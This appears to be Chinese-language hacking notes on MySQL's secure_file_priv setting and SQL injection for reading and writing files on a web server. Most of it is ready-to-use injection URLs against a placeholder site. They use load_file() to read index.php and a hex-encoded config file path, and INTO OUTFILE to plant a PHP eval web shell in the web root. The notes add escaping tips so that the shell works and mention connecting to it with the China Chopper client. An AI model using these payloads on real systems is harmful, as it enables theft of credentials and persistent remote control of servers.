secure_file_priv对读写文件的影响 此开关默认为NULL,即不允许导入导出。
secure_file_priv 为空是 的时候 方可读写 由于这个参数不能动态更改,只能在mysql的配置文件中进行修改,然后重启生效。 可以通过命令查看这个属性
select @@secure_file_priv
secure_file_priv为null 表示不允许导入导出
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制
写入文件的时候还需要看php.ini 里面 gpc是否开启 开启的情况下 特殊字符都会被转义 ‘ 变成 \’
读写操作用到两个函数
load_file()读取文件函数
读取当前目录下的index.php文件
http://target_sys.com/article.php?id=-1 union select 1,2,load_file(‘C:\inetpub\wwwroot\target_sys.com\index.php’)
http://target_sys.com/article.php?id=-1 union select 1,2,load_file(‘C:/inetpub/wwwroot/target_sys.com/index.php’)
读取配置文件
http://target_sys.com/article.php?id=-1 union select 1,2,load_file(0x433a2f696e65747075622f777777726f6f742f7461726765745f7379732e636f6d2f646174612f636f6e6669672e696e632e706870)

写的两个函数
into outfile 文件导出 空格
into dumpfile 没有空格
条件是:
1、gpc 关闭
2、目录可写
写shell话到当前目录
http://target_sys.com/article.php?id=-1 union select 1,’<?php phpinfo();eval($_POST[\’smoon\’]);?>’,3 into outfile ‘C:\inetpub\wwwroot\target_sys.com\smoon.php’
注意小细节,[\’smoon\’]这里要加上\
因为如果不加的话,会变成这样[smoon],单引号里面会按照字符串进行输出,去除单引号,这样的话这个一句话就错误了,创建失败
不加的话创建不了
虽然500错误,但是问题不大,菜刀可以连
